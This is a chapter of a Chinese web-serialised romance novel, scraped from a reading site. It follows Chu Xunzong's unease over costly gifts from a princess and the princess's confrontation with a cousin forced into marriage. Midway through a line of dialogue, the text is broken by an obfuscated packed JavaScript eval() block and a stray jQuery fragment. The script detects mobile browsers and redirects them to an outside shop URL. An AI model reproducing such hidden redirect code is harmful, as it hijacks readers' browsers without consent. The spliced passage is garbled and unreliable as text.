文趣网 > 其他小说 > 褚郎同我有私情(gb) > 11. 同而不同
    清早,庖厨小院里一只药盅被煨得咕噜咕噜响,院子里药味飘逸,浓郁至极。

    褚荀宗向府中下人问清晓云在哪儿后,直奔庖厨,刚进院门就被这药味熏得窒息难受。

    晓云蹲在一火炉旁打盹,褚荀宗见了后捏着鼻子蹑手蹑脚地走到晓云跟前。

    “晓云姑娘,晓云姑娘。”他捏着鼻子,鼻音很重。

    他不停唤着,晓云很快就醒了。晓云抱着双膝迷迷糊糊地望着他,待看清来人后,眼神中多了丝惊愕。

    “你怎么在这儿?”晓云起身质问。

    褚荀宗被她突如其来的气势吓到,他后退两步,嘴角僵笑着指向自己:“那我应该在哪儿?”

    晓云叉腰斥责道:“昨晚主子留了你,这时候你不陪着主子,你来这溜达?”

    “啊?”褚荀宗睁大了眼,面色骇然,晓云的意思是要他和郡主同榻而眠,他摇头否决:“使不得,使不得。”

    “如今我进出郡主闺房已是逾矩,要是真……乱了礼数,毁了清白,那我就真是罪该万死了。”

    晓云没好气地白他一眼。

    “晓云姑娘,你放心,昨晚我是等郡主睡熟后才走的,眼下天色还早,郡主应该还未清醒。”褚荀宗顿了下,见晓云还算和气才继续说道:“我有一事想要寻求你的建议。”

    晓云的注意力全在郡主睡熟这几字上,根本无暇顾及其他。

    “你说的是真的?郡主昨晚睡着了。”

    褚荀宗一头雾水,还是很肯定地点了头:“她让我给她按头,我按了一会儿后她就睡着了。”

    说完后,他能看出晓云的神情很惊喜,像是在为姜晓生高兴什么。可褚荀宗还有事要问清,不得不打断她:“没过几日便是嘉宁郡主与卓子仁的婚事,卓子仁大请同批恩生,届时我也会前去祝贺,不过我至今不知要送什么,能否请您指点一下?”

    晓云望着他,一脸狐疑,像在说这有什么难解决的。

    褚荀宗垂头叹了声气:“他们婚事隆重,而我钱财有限……这顾虑多了便难以抉择。”

    晓云念他有功——竟然能把郡主哄睡,心中便对他包容许多,她眉间见喜:“这有何难?郡主府的宝物堆积如山,待我向主子禀明,主子不会吝啬那点物事的,到时候让你挑两件合适的不成问题。”

    褚荀宗没想过从郡主府白拿,晓云的提议让他很犹豫,纠结半晌他笑着摆手道:“罢了,罢了,我再去坊市看看吧!”说完他飞快溜出郡主府,赶车去国子监了。

    至天色昏暗,夕阳残留半缕,褚荀宗风尘仆仆地归了家,他打开门便察觉到了异常,平日里院中灰扑扑的,而今日院中却多了几抹亮色。他望着院中石桌上颜色各异镶着金边的礼盒,心中顿时想起早上晓云的话。

    这是郡主府送来的,褚荀宗很确信。

    褚荀宗小心翼翼地打开翠绿色的盒子,里面是一双质地细密、莹洁光润的玉砚,他又打开一个小一点的大红色盒子,躺在里面竟是一根价值千金的徽墨。

    见此,他怔愣片刻,倏而阖上了盒子。褚荀宗面色不改,心中却窃喜郡主府的阔气,随手一掷便是白银千两。

    还未将喜气扩散至全身,他渐渐地收了笑。姜晓生上一回对他阔气是帮他还了钱,可后果也让他苦不堪言,那这一次呢?姜晓生又有什么阴谋?

    褚荀宗有了前车之鉴,便不敢再接受姜晓生突如其来的善,若是双方提前把代价写在纸上,他倒不会畏惧至此,他怕的是对方笑盈盈地对他好,然后转手翻脸让他付出代价。

    他登时没了兴致,悻悻然打开最后一个大盒子,里面是一套朱色华服。他小心掀开一角,摩挲了料子,很柔软,他又展开衣物细细查看,这竟是金纹云锦襕袍。这一身衣物,把他人卖了都买不起。

    褚荀宗细心叠好衣物,正放回盒子里时这才发现下方还有一张纸,他取出纸上面道:“未知汝品味,聊以微物相赐,勿过谢。吾甚期汝身着此衣。”

    纸张下面赫然一个红艳艳的章——姜晓生。

    “甚期”。

    褚荀宗反复看了好几遍,脸上红了青,青了红,心底更是五味杂陈,他分不清姜晓生是真心实意还是在玩他。

    几日光阴很快过去。到了六月初四这日,卓府忠王府正式结亲,而姜晓生作为嘉宁郡主姜瑾茹的酒肉姐妹是非去不可的。

    姜晓生难得起了个大早,天还未亮时,便坐车去了忠王府。

    今日起得太早,她的头很昏沉,腿也站不稳。下车后晓云扶了她一路,直至新娘的闺房外。

    忠王的建筑风格近似宫中的规整巍峨。女儿家的闺阁本应是灵活的细致温暖的,可姜晓生只觉得姜瑾茹一板一眼的院子老气横秋。

    她站在外面嚷嚷:“姜瑾茹!新娘子!我来看你了。”

    话音刚落,一排红门哗啦打开,一位慈眉善目的妇人此刻悲痛着,缓缓走了出来。姜晓生认得她,她是瑾茹的母亲郭氏。

    姜晓生俯身行了个礼,没打算与郭氏交谈,因为郭氏一直不喜欢她,还总在背后埋怨她带坏了姜瑾茹。

    郭氏走至她身前,哽咽道:“茹儿心情一直都不太好,晓生,你帮舅母好好劝劝她,好吗?”

    姜晓生表面乖巧点头,心中冷漠讥讽道:姜瑾茹要是自己想嫁,也不会心情不好呀!

    郭氏嘱咐完回头望了一会女儿,红着眼眶离开了院子。

    姜晓生快步进了门,这才见里边已经被砸得不能看了,好好的木柜被劈成碎柴,矮几,桌椅都裂成好几块,地上随意散落珠串金钗、胭脂青黛,看到这么好的物事被糟践,姜晓生头一回觉得可惜。

    姜晓生撩开层层纱帘,进入卧房,里面静谧得异常无比,姜瑾茹身着红衣端坐于铜镜前,脚下跪着十多位心惊胆战的侍从。

    她大喇喇走进,驱赶了下人。此刻姜瑾茹脸上冷得凌霜,没给她一点颜色,姜晓生知道自己如今说什么都没用。

    可什么都不说同样不行,姜晓生边拾起一支珠簪往姜瑾茹的高髻上插,边无奈道些宽慰的话:“你……想开点!事情已经成定局了,如今再闹也没用了。”

    闻言,姜瑾茹抬头向她瞪红眼睛,眼神异常凶恶。她拧着眉头好似万分痛心,又指着自己,不可置信地说道:“让我想开点?姜晓生,是你疯了还是我疯了?”

    姜瑾茹忽地站了起来,双手摁在她的双肩,愤怒摇晃:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940585|213905||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你有什么资格对我说这些话?定局?怎么成亲就成我的定局了?”

    姜晓生伸手抵住她,极力阻止他们两人间越发缩小的距离:“你从前不是说过吗?玩够了就找户人家嫁了,你早也是嫁晚嫁也是嫁,有什么不同?”

    姜瑾茹一只手臂攀上姜晓生的脖子,另一只死死掐住了姜晓生的脖颈,她五官扭曲,厉声反驳:“这不一样!我要自己来选。”

    姜晓生被掐有些窒息,仍然没忍住嗤笑出声。多天真呐!生在勋贵世家还妄想自由。

    被她一笑,姜瑾茹或许是感到了羞耻又或者是其他原因,她松了手,抖着身子,捧起脸嚎嚎哭起来。

    “我分明……有机会反抗这门婚事的,只要谢府寿宴那日……你赴约见我,我就能早作打算把这婚事毁了。”

    姜晓生蹙着眉头,不屑一瞥,又急躁地理了理衣襟:“怎么就成了我的错?难不成我赴约就能改变你的婚事?”

    姜瑾茹泪眼婆娑又饱含期望地望着她:“你比我聪明,你读过很多很多我没读过的书,你肯定知道让我避开婚事的法子,对不对?”

    姜晓生沉下气,努力思索了半晌,可她越想心中越发寒凉,越觉得蜉蝣撼树的努力苍凉而无力,她耐着性子解释道:“对!”

    姜瑾茹眼中一亮。

    “当然有法子,可这些伎俩,你以为你爹看不出来吗?但凡你的举动踩住你爹的底线,他会百倍千倍束缚你,让你成为与卓家联姻的木偶。”

    见那一点渺茫的希望覆灭,姜晓生心如死灰,她瘫软在地上苦苦哀嚎。

    姜晓生提着她的臂膀:“你给我起来,只是成亲,又不是要你的命。”

    姜瑾茹一把将她推开,变得蛮不讲理:“不!这都是你的错,姜晓生我恨你。”

    姜晓生楞在原地,承受着没源头的恨意。

    “我好嫉妒你,姜晓生,凭什么我们同为郡主,你和我样样不同。”

    “有何不同?”不都是被皇权玩弄的棋子吗?

    “凭什么你永远无拘无束受人喜爱,我就得顾及家门约束受尽打压;凭什么你的封号是封地名,而我的封号只是嘉词吉字;凭什么遇到摆不平的事,你的母亲能为你三言两语挡下来,而我的母亲……”姜瑾茹哽咽片刻,颤声道:“什么都做不了只能对着我含泪而泣。”

    这一长串的质问怼得姜晓生哑口无言,她很想告诉瑾茹有些事真正的样子与看到的很不一样。可姜晓生选择了沉默,她告诉了也不会改变的。

    黑而深邃的眸子扫过姜瑾茹,她的哀嚎她的痛苦,姜晓生无不体验过,可姜晓生的心脏就像是死了一样,它只是静静流淌的鲜血,再也掀不起共鸣时刻的惊涛骇浪。

    她静静上前将姜瑾茹拖到铜镜前的椅子上,柔声道:“瑾茹,这世上没有凭什么,只有为什么,你想再多凭什么也没有想清一个为什么强,你不要自怨自艾,你觉得不公那就去抢,你觉得不好你可以反抗,但永远永远不要指望别人来拯救你。”

    姜晓生也问过很多个凭什么,可这些疑问永远得不到回应,只能在她心中越扎越深。

    她深吸一口气,拍了拍姜瑾茹的肩:“我走了,瑾茹,婚仪上见。”